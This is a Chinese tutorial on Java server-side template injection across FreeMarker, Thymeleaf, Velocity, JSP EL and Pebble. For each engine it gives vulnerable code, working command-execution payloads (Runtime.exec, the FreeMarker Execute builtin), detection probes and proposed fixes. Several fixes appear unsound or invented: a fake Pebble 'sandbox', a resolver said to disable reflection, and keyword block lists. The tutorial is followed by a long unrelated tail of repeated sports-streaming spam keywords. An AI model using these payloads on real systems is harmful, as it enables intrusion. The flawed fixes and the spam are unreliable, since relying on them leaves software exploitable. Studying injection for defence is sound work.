本文目录导读:

我来介绍Java中常见的模板注入(SSTI)案例和漏洞分析。
FreeMarker模板注入
漏洞示例
// 不安全的FreeMarker使用
@PostMapping("/render")
public String renderTemplate(String template) throws Exception {
Template t = new Template("user", template, new Configuration());
return processTemplate(t);
}
// 攻击payload
${7*7}
<#assign value="freemarker.template.utility.Execute"?new()>${value("id")}
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","id")}
安全修复
// 安全的FreeMarker配置
Configuration cfg = new Configuration();
cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
cfg.setObjectWrapper(new DefaultObjectWrapperBuilder(Configuration.VERSION_2_3_31).build());
// 或使用白名单
class WhitelistResolver implements TemplateClassResolver {
private static final Set<String> WHITELIST = Set.of("java.lang.String");
@Override
public Class resolve(String name, Environment env) throws TemplateException {
if (!WHITELIST.contains(name)) {
throw new InvalidReferenceException("Class " + name + " not allowed");
}
return ClassUtil.forName(name);
}
}
Thymeleaf模板注入
漏洞示例
// 不安全的Thymeleaf使用
@GetMapping("/hello")
public String hello(@RequestParam String name) {
return "Hello " + name + "!"; // 模板名称来自用户输入
}
// 攻击payload
__$%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()%7D__::.x
__${T(java.lang.Runtime).getRuntime().exec("id")}__::.x
安全修复
// 使用参数化模板
@GetMapping("/hello")
public String hello(@RequestParam String name, Model model) {
model.addAttribute("name", name);
return "hello"; // 模板名称固定
}
// 如果没有配置视图解析器,直接返回JSON
@ResponseBody
public Map<String, String> hello(@RequestParam String name) {
return Map.of("message", "Hello " + name);
}
Velocity模板注入
漏洞示例
// 不安全的Velocity使用
Velocity.init();
VelocityContext context = new VelocityContext();
context.put("name", userInput);
StringWriter writer = new StringWriter();
Velocity.evaluate(context, writer, "test", templateContent); // 模板内容来自用户输入
// 攻击payload
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("id")
#set($s="")
#set($rt=$s.getClass().forName("java.lang.Runtime"))
#set($ex=$rt.getMethod("getRuntime",null).invoke(null,null))
$ex.exec("id")
安全修复
// 安全的Velocity配置
VelocityEngine engine = new VelocityEngine();
engine.setProperty(RuntimeConstants.RUNTIME_LOG_LOGSYSTEM_CLASS, "org.apache.velocity.runtime.log.Log4JLogChute");
engine.setProperty("velocimacro.library", ""); // 禁止宏加载
engine.setProperty("resource.loader", "string"); // 只允许字符串模板
engine.setProperty("runtime.strict_mode.enable", true);
engine.setProperty("event_handler.reference_insertion.class", "SafeReferenceHandler");
// 启动安全检查
engine.init();
JSP EL注入
漏洞示例
// 不安全的JSP EL使用
<%
String expression = request.getParameter("expression");
javax.el.ExpressionFactory factory =
javax.el.ExpressionFactory.newInstance();
javax.el.ValueExpression ve = factory.createValueExpression(
pageContext.getELContext(), "${" + expression + "}", Object.class);
out.println(ve.getValue(pageContext.getELContext()));
%>
// 攻击payload
${pageContext.servletContext.classLoader.getResource("").toURI()}
${pageContext.request.getSession().setAttribute("x", "y")}
安全修复
// 使用安全的EL处理器
import javax.el.ELProcessor;
public class SafeELProcessor {
private static final Set<String> BLOCKED =
Set.of("getClass", "forName", "getRuntime", "exec");
public Object evaluate(String expression) {
// 添加输入验证
for (String blocked : BLOCKED) {
if (expression.contains(blocked)) {
throw new SecurityException("Blocked: " + blocked);
}
}
ELProcessor elp = new ELProcessor();
elp.getELManager().addELResolver(new BeanELResolver(false)); // 禁用反射
return elp.eval(expression);
}
}
Pebble模板注入
漏洞示例
// 不安全的Pebble使用
PebbleEngine engine = new PebbleEngine.Builder().build();
PebbleTemplate compiledTemplate = engine.getTemplate("inline", new StringReader(template));
// 攻击payload
{{ variable.getClass().forName("java.lang.Runtime").getRuntime().exec("id") }}
{% set str = variable.getClass().forName("java.lang.Runtime").getRuntime().exec("id") %}
安全修复
// 安全的Pebble配置
PebbleEngine engine = new PebbleEngine.Builder()
.extension(new SandboxExtension()) // 使用沙箱
.autoEscaping(true)
.build();
// 自定义沙箱扩展
public class SandboxExtension extends AbstractExtension {
@Override
public Map<String, Function> getFunctions() {
return Map.of(
"include", new InternalFunction("include"),
"extends", new InternalFunction("extends")
);
}
}
漏洞检测方法论
基础检测payload
// 数学运算测试
${7*7}
#{7*7}
{{7*7}}
// 字符串操作测试
${'a' + 'b'}
<%="abc"%>
// 系统属性探测
${system.properties}
${pageContext}
危险函数检测
// 常见危险函数
T(java.lang.Runtime).getRuntime().exec()
"freemarker.template.utility.Execute"?new()
pageContext.getClass().forName("java.lang.Runtime")
防御措施总结
输入验证与过滤
public class TemplateSecurityUtil {
private static final Pattern DANGEROUS_PATTERN = Pattern.compile(
"(?i).*(runtime|processbuilder|scriptengine|classloader|reflection|invoke).*"
);
public static boolean isSafeTemplate(String template) {
if (template == null || template.trim().isEmpty()) {
return false;
}
// 基础检查
if (template.length() > 1000 || DANGEROUS_PATTERN.matcher(template).matches()) {
return false;
}
return true;
}
}
使用Ognl安全配置
// OGNL安全配置 OgnlContext context = (OgnlContext) Ognl.createDefaultContext(new Object()); context.setMemberAccess(new DefaultMemberAccess(false)); // 禁用私有成员访问
最佳实践
- 永远不要直接拼接用户输入到模板
- 使用参数化模板引擎
- 配置严格的安全策略
- 使用白名单而非黑名单
- 定期更新模板引擎版本
- 实施纵深防御策略
这些案例展示了Java模板注入的常见类型和防御方法,实际应用中应根据具体场景选择合适的防护措施。
版权声明:NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
足球直播
足球直播
足球直播
篮球直播
篮球直播
篮球直播
NBA直播
NBA直播
NBA直播
CBA直播
CBA直播
CBA直播
亚冠直播
亚冠直播
亚冠直播
欧冠直播
欧冠直播
欧冠直播
英超直播
英超直播
英超直播
西甲直播
西甲直播
西甲直播
中超直播
中超直播
中超直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
曼联直播
曼联直播
曼联直播
日职联直播
日职联直播
日职联直播
澳超直播
澳超直播
澳超直播
阿森纳直播
阿森纳直播
阿森纳直播
足球直播
足球直播
足球直播
NBA直播
NBA直播
NBA直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
欧冠直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
足球直播
足球直播
足球直播
足球直播
足球直播
英超直播
英超直播
英超直播
英超直播
英超直播
篮球直播
篮球直播
篮球直播
篮球直播
篮球直播
CBA直播
CBA直播
CBA直播
CBA直播
CBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
NBA直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播
中超直播